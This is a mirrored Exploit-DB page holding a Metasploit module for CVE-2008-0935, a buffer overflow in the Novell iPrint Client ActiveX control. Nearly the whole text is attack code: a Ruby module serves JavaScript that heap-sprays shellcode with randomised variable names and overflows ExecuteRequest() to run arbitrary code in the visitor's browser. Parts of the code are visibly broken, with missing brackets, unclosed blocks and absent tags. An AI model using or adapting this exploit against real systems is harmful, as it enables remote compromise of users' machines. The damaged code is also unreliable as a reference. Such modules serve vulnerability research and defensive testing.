Novell iPrint Client – ActiveX Control ExecuteRequest Buffer Overflow (Metasploit)

Exploit Database
143 阅读

作者： Metasploit

日期： 2010-09-21
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16514/

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# $Id: novelliprint_executerequest.rb 10429 2010-09-21 18:46:29Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})

super(update_info(info,

'Name' => 'Novell iPrint Client ActiveX Control ExecuteRequest Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in Novell iPrint Client 4.26. When

sending an overly long string to the ExecuteRequest() property of ienipp.ocx

an attacker may be able to execute arbitrary code.

'License'=> MSF_LICENSE,

'Author' => [ 'MC' ],

'Version'=> '$Revision: 10429 $',

'References' =>

[

[ 'CVE', '2008-0935' ],

[ 'OSVDB', '42063'],

[ 'BID', '27939' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload'=>

{

'Space' => 1024,

'BadChars'=> "\x00",

'Platform' => 'win',

'Targets'=>

[

[ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]

'DisclosureDate' => 'Feb 22 2008',

'DefaultTarget'=> 0))

end

def autofilter

false

end

def check_dependencies

use_zlib

end

def on_request_uri(cli, request)

# Re-generate the payload.

return if ((p = regenerate_payload(cli)) == nil)

# Encode the shellcode.

shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Create some nops.

nops= Rex::Text.to_unescape(make_nops(4))

# Set the return.

ret = Rex::Text.uri_encode([target.ret].pack('L'))

# Randomize the javascript variable names.

vname= rand_text_alpha(rand(100) + 1)

var_i= rand_text_alpha(rand(30)+ 2)

rand1= rand_text_alpha(rand(100) + 1)

rand2= rand_text_alpha(rand(100) + 1)

rand3= rand_text_alpha(rand(100) + 1)

rand4= rand_text_alpha(rand(100) + 1)

rand5= rand_text_alpha(rand(100) + 1)

rand6= rand_text_alpha(rand(100) + 1)

rand7= rand_text_alpha(rand(100) + 1)

rand8= rand_text_alpha(rand(100) + 1)

content = %Q|

<html>

var #{rand1} = unescape('#{shellcode}');

var #{rand2} = unescape('#{nops}');

var #{rand3} = 20;

var #{rand4} = #{rand3} + #{rand1}.length;

while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};

var #{rand5} = #{rand2}.substring(0,#{rand4});

var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});

while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};

var #{rand7} = new Array();

for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }

var #{rand8} = ""

for (#{var_i} = 0; #{var_i} < 8500; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }

#{vname}.ExecuteRequest(#{rand8}, #{vname});

</script>

</html>

content = Rex::Text.randomize_space(content)

print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client

send_response_html(cli, content)

# Handle the payload

handler(cli)

end